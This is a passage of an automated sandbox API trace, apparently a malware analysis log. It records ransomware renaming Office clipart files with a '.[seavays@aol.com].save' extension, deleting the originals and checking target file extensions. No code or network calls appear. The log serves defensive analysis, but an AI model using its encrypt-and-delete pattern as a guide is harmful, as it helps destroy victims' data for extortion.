lpNewFilePointer=0x0) returned 1 [0073.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.692] GetLastError () returned 0x0 [0073.692] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x3044, lpOverlapped=0x0) returned 1 [0073.694] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x3050, lpOverlapped=0x0) returned 1 [0073.695] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0073.696] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0073.696] SetEndOfFile (hFile=0x378) returned 1 [0073.696] CloseHandle (hObject=0x378) returned 1 [0073.696] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.696] SetEndOfFile (hFile=0x390) returned 1 [0073.697] CloseHandle (hObject=0x390) returned 1 [0073.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0073.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0073.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0073.698] lstrlenW (lpString=".doc") returned 4 [0073.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.698] lstrlenW (lpString=".docx") returned 5 [0073.698] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.698] lstrlenW (lpString=".pdf") returned 4 [0073.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.698] lstrlenW (lpString=".xls") returned 4 [0073.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.698] lstrlenW (lpString=".xlsx") returned 5 [0073.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.698] lstrlenW (lpString=".ppt") returned 4 [0073.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0073.699] lstrlenW (lpString=".zip") returned 4 [0073.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.699] lstrlenW (lpString=".rar") returned 4 [0073.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.699] lstrlenW (lpString=".bz2") returned 4 [0073.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.699] lstrlenW (lpString=".7z") returned 3 [0073.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0073.699] lstrlenW (lpString=".dbf") returned 4 [0073.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0073.699] lstrlenW (lpString=".1cd") returned 4 [0073.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0073.699] lstrlenW (lpString=".jpg") returned 4 [0073.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.700] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.700] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.701] GetLastError () returned 0x0 [0073.701] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1a7c, lpOverlapped=0x0) returned 1 [0073.702] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1a80, lpOverlapped=0x0) returned 1 [0073.704] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0073.704] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0073.704] SetEndOfFile (hFile=0x378) returned 1 [0073.704] CloseHandle (hObject=0x378) returned 1 [0073.704] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.704] SetEndOfFile (hFile=0x390) returned 1 [0073.705] CloseHandle (hObject=0x390) returned 1 [0073.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0073.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0073.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0073.706] lstrlenW (lpString=".doc") returned 4 [0073.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.706] lstrlenW (lpString=".docx") returned 5 [0073.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.706] lstrlenW (lpString=".pdf") returned 4 [0073.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.706] lstrlenW (lpString=".xls") returned 4 [0073.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.706] lstrlenW (lpString=".xlsx") returned 5 [0073.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.706] lstrlenW (lpString=".ppt") returned 4 [0073.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0073.706] lstrlenW (lpString=".zip") returned 4 [0073.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.706] lstrlenW (lpString=".rar") returned 4 [0073.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.706] lstrlenW (lpString=".bz2") returned 4 [0073.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.706] lstrlenW (lpString=".7z") returned 3 [0073.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0073.707] lstrlenW (lpString=".dbf") returned 4 [0073.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0073.707] lstrlenW (lpString=".1cd") returned 4 [0073.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 68 [0073.707] lstrlenW (lpString=".jpg") returned 4 [0073.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.707] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.707] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.708] GetLastError () returned 0x0 [0073.708] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x8e8, lpOverlapped=0x0) returned 1 [0073.710] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x8f0, lpOverlapped=0x0) returned 1 [0073.711] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0073.711] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0073.711] SetEndOfFile (hFile=0x378) returned 1 [0073.711] CloseHandle (hObject=0x378) returned 1 [0073.711] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.712] SetEndOfFile (hFile=0x390) returned 1 [0073.713] CloseHandle (hObject=0x390) returned 1 [0073.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0073.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0073.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0073.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0073.714] lstrlenW (lpString=".doc") returned 4 [0073.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0073.714] lstrlenW (lpString=".docx") returned 5 [0073.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0073.714] lstrlenW (lpString=".pdf") returned 4 [0073.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0073.714] lstrlenW (lpString=".xls") returned 4 [0073.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0073.714] lstrlenW (lpString=".xlsx") returned 5 [0073.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0073.714] lstrlenW (lpString=".ppt") returned 4 [0073.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0073.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0073.714] lstrlenW (lpString=".zip") returned 4 [0073.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0073.714] lstrlenW (lpString=".rar") returned 4 [0073.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0073.714] lstrlenW (lpString=".bz2") returned 4 [0073.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0073.714] lstrlenW (lpString=".7z") returned 3 [0073.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0073.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0073.714] lstrlenW (lpString=".dbf") returned 4 [0073.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0073.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0073.715] lstrlenW (lpString=".1cd") returned 4 [0073.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0073.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 68 [0073.715] lstrlenW (lpString=".jpg") returned 4 [0073.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0073.717] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.717] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.717] GetLastError () returned 0x0 [0073.718] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x2e0, lpOverlapped=0x0) returned 1 [0074.145] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x2f0, lpOverlapped=0x0) returned 1 [0074.146] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.147] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.147] SetEndOfFile (hFile=0x378) returned 1 [0074.544] CloseHandle (hObject=0x378) returned 1 [0074.551] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.551] SetEndOfFile (hFile=0x390) returned 1 [0074.552] CloseHandle (hObject=0x390) returned 1 [0074.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0074.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0074.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0074.553] lstrlenW (lpString=".doc") returned 4 [0074.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.553] lstrlenW (lpString=".docx") returned 5 [0074.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.553] lstrlenW (lpString=".pdf") returned 4 [0074.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.553] lstrlenW (lpString=".xls") returned 4 [0074.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.553] lstrlenW (lpString=".xlsx") returned 5 [0074.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.553] lstrlenW (lpString=".ppt") returned 4 [0074.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0074.553] lstrlenW (lpString=".zip") returned 4 [0074.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.553] lstrlenW (lpString=".rar") returned 4 [0074.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.554] lstrlenW (lpString=".bz2") returned 4 [0074.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.554] lstrlenW (lpString=".7z") returned 3 [0074.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0074.554] lstrlenW (lpString=".dbf") returned 4 [0074.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0074.554] lstrlenW (lpString=".1cd") returned 4 [0074.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0074.554] lstrlenW (lpString=".jpg") returned 4 [0074.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.555] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.555] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.555] GetLastError () returned 0x0 [0074.555] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x12bc, lpOverlapped=0x0) returned 1 [0074.557] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x12c0, lpOverlapped=0x0) returned 1 [0074.558] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.558] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.558] SetEndOfFile (hFile=0x378) returned 1 [0074.558] CloseHandle (hObject=0x378) returned 1 [0074.558] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.558] SetEndOfFile (hFile=0x390) returned 1 [0074.560] CloseHandle (hObject=0x390) returned 1 [0074.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0074.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0074.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0074.560] lstrlenW (lpString=".doc") returned 4 [0074.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.560] lstrlenW (lpString=".docx") returned 5 [0074.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.560] lstrlenW (lpString=".pdf") returned 4 [0074.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.560] lstrlenW (lpString=".xls") returned 4 [0074.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.561] lstrlenW (lpString=".xlsx") returned 5 [0074.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.561] lstrlenW (lpString=".ppt") returned 4 [0074.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0074.561] lstrlenW (lpString=".zip") returned 4 [0074.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.561] lstrlenW (lpString=".rar") returned 4 [0074.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.561] lstrlenW (lpString=".bz2") returned 4 [0074.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.561] lstrlenW (lpString=".7z") returned 3 [0074.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0074.561] lstrlenW (lpString=".dbf") returned 4 [0074.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0074.561] lstrlenW (lpString=".1cd") returned 4 [0074.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0074.561] lstrlenW (lpString=".jpg") returned 4 [0074.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.562] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.562] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.562] GetLastError () returned 0x0 [0074.562] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x83c, lpOverlapped=0x0) returned 1 [0074.563] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x840, lpOverlapped=0x0) returned 1 [0074.564] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.564] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.565] SetEndOfFile (hFile=0x378) returned 1 [0074.565] CloseHandle (hObject=0x378) returned 1 [0074.565] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.565] SetEndOfFile (hFile=0x390) returned 1 [0074.566] CloseHandle (hObject=0x390) returned 1 [0074.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 